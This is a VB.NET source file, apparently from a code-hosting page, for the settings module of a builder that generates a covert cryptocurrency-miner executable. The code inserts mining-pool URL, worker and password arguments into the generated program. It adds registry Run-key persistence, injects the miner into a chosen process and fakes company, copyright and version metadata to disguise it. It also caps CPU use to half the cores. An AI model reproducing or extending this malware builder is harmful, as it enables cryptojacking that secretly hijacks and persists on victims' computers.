170 lines
7.6 KiB
VB.net
170 lines
7.6 KiB
VB.net
Structure Settings
|
|||
|
|
Public Shared IconPath As [String] = ""
|
||
|
|
Public Shared SavePath As [String] = ""
|
||
|
|
Public Shared Mutex As [Boolean] = False
|
||
|
|
Public Shared Startup As [Boolean] = False
|
||
|
|
Public Shared CustomIcon As [Boolean] = False
|
||
|
|
Public Shared ThreadPercent As [Boolean] = False
|
||
|
|
Public Shared DebugMode As [Boolean] = False
|
||
|
|
|
||
|
|
Private Shared Description As [String] = ""
|
||
|
|
Private Shared Trademark As [String] = ""
|
||
|
|
Private Shared Company As [String] = ""
|
||
|
|
Private Shared Product As [String] = ""
|
||
|
|
Private Shared Copyright As [String] = ""
|
||
|
|
Private Shared Title As [String] = ""
|
||
|
|
Private Shared ProductVer As [String] = ""
|
||
|
|
Private Shared FileVer As [String] = ""
|
||
|
|
|
||
|
|
|
||
|
|
Private Shared InjectionProcess As [String] = ""
|
||
|
|
|
||
|
|
|
||
|
|
#Region "Argument Variabled"
|
||
|
|
Public Shared Threads As [String] = ""
|
||
|
|
#End Region
|
||
|
|
|
||
|
|
|
||
|
|
Public Shared Function getSavePath() As String
|
||
|
|
|
||
|
|
Using sfd As New SaveFileDialog With {.Title = "Choose Save Path...", .InitialDirectory = Application.StartupPath, .Filter = "EXE Files (*.exe)|*.exe"}
|
||
|
|
If sfd.ShowDialog() = DialogResult.OK Then
|
||
|
|
Return sfd.FileName
|
||
|
|
Else : Return Nothing
|
||
|
|
End If
|
||
|
|
End Using
|
||
|
|
End Function
|
||
|
|
|
||
|
|
|
||
|
|
Public Shared Function prepareSource(ByVal source As String) As String
|
||
|
|
|
||
|
|
If Settings.ThreadPercent Then
|
||
|
|
Settings.Threads = "Percent"
|
||
|
|
Else
|
||
|
|
Settings.Threads = frmMain.nThreads.Value.ToString()
|
||
|
|
End If
|
||
|
|
|
||
|
|
source = replaceMutex(source, Settings.Mutex)
|
||
|
|
source = replaceStartup(source, Settings.Startup)
|
||
|
|
source = replaceParameters(source)
|
||
|
|
source = replaceThreads(source, Settings.ThreadPercent)
|
||
|
|
source = replaceDebug(source)
|
||
|
|
source = replaceAssembly(source)
|
||
|
|
source = replaceInjection(source)
|
||
|
|
Return source
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function replaceMutex(ByVal source As String, ByVal Enabled As Boolean) As String
|
||
|
|
|
||
|
|
If Enabled Then
|
||
|
|
source = source.Replace("%MUTEXOBJ%", "Dim objMutex As System.Threading.Mutex")
|
||
|
|
source = source.Replace("%MUTEXSUB%", "Sub checkMutex()" & vbNewLine & "objMutex = New System.Threading.Mutex(False,""%MUTEX%"")" & vbNewLine & "If objMutex.WaitOne(0, False) = False Then" & vbNewLine & "objMutex.Close()" & vbNewLine & "End" & vbNewLine & "End If" & vbNewLine & "End Sub")
|
||
|
|
source = source.Replace("%MUTEX%", frmMain.tbMutex.Text)
|
||
|
|
source = source.Replace("%CHECKMUTEX%", "checkMutex()")
|
||
|
|
Return source
|
||
|
|
Else
|
||
|
|
source = source.Replace("%MUTEXOBJ%", "")
|
||
|
|
source = source.Replace("%MUTEXSUB%", "")
|
||
|
|
source = source.Replace("%CHECKMUTEX%", "")
|
||
|
|
Return source
|
||
|
|
End If
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function replaceStartup(ByVal source As String, ByVal Enabled As Boolean) As String
|
||
|
|
|
||
|
|
If Enabled Then
|
||
|
|
source = source.Replace("%DOSTARTUP%", "doStartup()")
|
||
|
|
source = source.Replace("%STARTUPSUB%", "Sub doStartup()" & vbNewLine & "Microsoft.Win32.Registry.CurrentUser.OpenSubKey(""SOFTWARE\Microsoft\Windows\CurrentVersion\Run"", True).SetValue(""%STARTUPKEY%"", System.Reflection.Assembly.GetExecutingAssembly().Location)" & vbNewLine & "End Sub")
|
||
|
|
source = source.Replace("%STARTUPKEY%", frmMain.tbStartup.Text)
|
||
|
|
Return source
|
||
|
|
Else
|
||
|
|
source = source.Replace("%DOSTARTUP%", "")
|
||
|
|
source = source.Replace("%STARTUPSUB%", "")
|
||
|
|
source = source.Replace("%STARTUPKEY%", "")
|
||
|
|
Return source
|
||
|
|
End If
|
||
|
|
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function replaceParameters(ByVal source As String) As String
|
||
|
|
source = source.Replace("%ARGS%", "-o %URL% -u %WORKER% -p %PASS% -t"" & %THREADS% & "" -m512")
|
||
|
|
source = source.Replace("%URL%", frmMain.tbURL.Text)
|
||
|
|
source = source.Replace("%WORKER%", frmMain.tbWorker.Text)
|
||
|
|
source = source.Replace("%PASS%", frmMain.tbPass.Text)
|
||
|
|
Return source
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function replaceThreads(ByVal source As String, ByVal Percentage As Boolean) As String
|
||
|
|
If Percentage Then
|
||
|
|
source = source.Replace("%THREADS%", "getCores()")
|
||
|
|
source = source.Replace("%CORESUB%", "Function getCores() As String" & vbNewLine &
|
||
|
|
"Dim i As Integer" & vbNewLine &
|
||
|
|
"i = CInt(Environment.ProcessorCount / 2)" & vbNewLine &
|
||
|
|
"Return "" "" & CStr(i)" & vbNewLine &
|
||
|
|
"End Function")
|
||
|
|
Return source
|
||
|
|
Else
|
||
|
|
source = source.Replace("%THREADS%", """" & " " & frmMain.nThreads.Value.ToString() & """")
|
||
|
|
source = source.Replace("%CORESUB%", "")
|
||
|
|
Return source
|
||
|
|
End If
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function replaceDebug(ByVal source As String) As String
|
||
|
|
If Settings.DebugMode Then
|
||
|
|
source = source.Replace("%DEBUG%", "True")
|
||
|
|
Return source
|
||
|
|
Else
|
||
|
|
source = source.Replace("%DEBUG%", "False")
|
||
|
|
Return source
|
||
|
|
End If
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Shared Function replaceAssembly(ByVal source As String) As String
|
||
|
|
|
||
|
|
If frmMain.tbDesc.Text = "Description" Then : Settings.Description = "" : Else : Settings.Description = frmMain.tbDesc.Text : End If
|
||
|
|
If frmMain.tbTrademark.Text = "Trademark" Then : Settings.Trademark = "" : Else : Settings.Trademark = frmMain.tbTrademark.Text : End If
|
||
|
|
If frmMain.tbCompany.Text = "Company" Then : Settings.Company = "" : Else : Settings.Company = frmMain.tbCompany.Text : End If
|
||
|
|
If frmMain.tbProduct.Text = "Product" Then : Settings.Product = "" : Else : Settings.Product = frmMain.tbProduct.Text : End If
|
||
|
|
If frmMain.tbCopyright.Text = "Copyright" Then : Settings.Copyright = "" : Else : Settings.Copyright = frmMain.tbCopyright.Text : End If
|
||
|
|
If frmMain.tbTitle.Text = "Title" Then : Settings.Title = "" : Else : Settings.Title = frmMain.tbTitle.Text : End If
|
||
|
|
|
||
|
|
Settings.ProductVer = createProductVer()
|
||
|
|
Settings.FileVer = createFileVer()
|
||
|
|
|
||
|
|
source = source.Replace("{DESC}", Settings.Description)
|
||
|
|
source = source.Replace("{TRADEMARK}", Settings.Trademark)
|
||
|
|
source = source.Replace("{COMPANY}", Settings.Company)
|
||
|
|
source = source.Replace("{PRODUCT}", Settings.Product)
|
||
|
|
source = source.Replace("{COPYRIGHT}", Settings.Copyright)
|
||
|
|
source = source.Replace("{TITLE}", Settings.Title)
|
||
|
|
source = source.Replace("{PVERSION}", Settings.ProductVer)
|
||
|
|
source = source.Replace("{FVERSION}", Settings.FileVer)
|
||
|
|
Return source
|
||
|
|
End Function
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
Private Shared Function replaceInjection(ByVal source As String) As String
|
||
|
|
Settings.InjectionProcess = CStr(frmMain.comboInject.SelectedItem)
|
||
|
|
source = source.Replace("%INJECT%", Settings.InjectionProcess & ".exe")
|
||
|
|
Return source
|
||
|
|
End Function
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
Private Shared Function createProductVer() As String
|
||
|
|
Dim s As String
|
||
|
|
s = frmMain.pv1.Value.ToString() & "." & frmMain.pv2.Value.ToString() & "." & frmMain.pv3.Value.ToString() & "." & frmMain.pv4.Value.ToString()
|
||
|
|
Return s
|
||
|
|
End Function
|
||
|
|
Private Shared Function createFileVer() As String
|
||
|
|
Dim s As String
|
||
|
|
s = frmMain.fv1.Value.ToString() & "." & frmMain.fv2.Value.ToString() & "." & frmMain.fv3.Value.ToString() & "." & frmMain.fv4.Value.ToString()
|
||
|
|
Return s
|
||
|
|
End Function
|
||
|
|
End Structure
|
||
|
|
|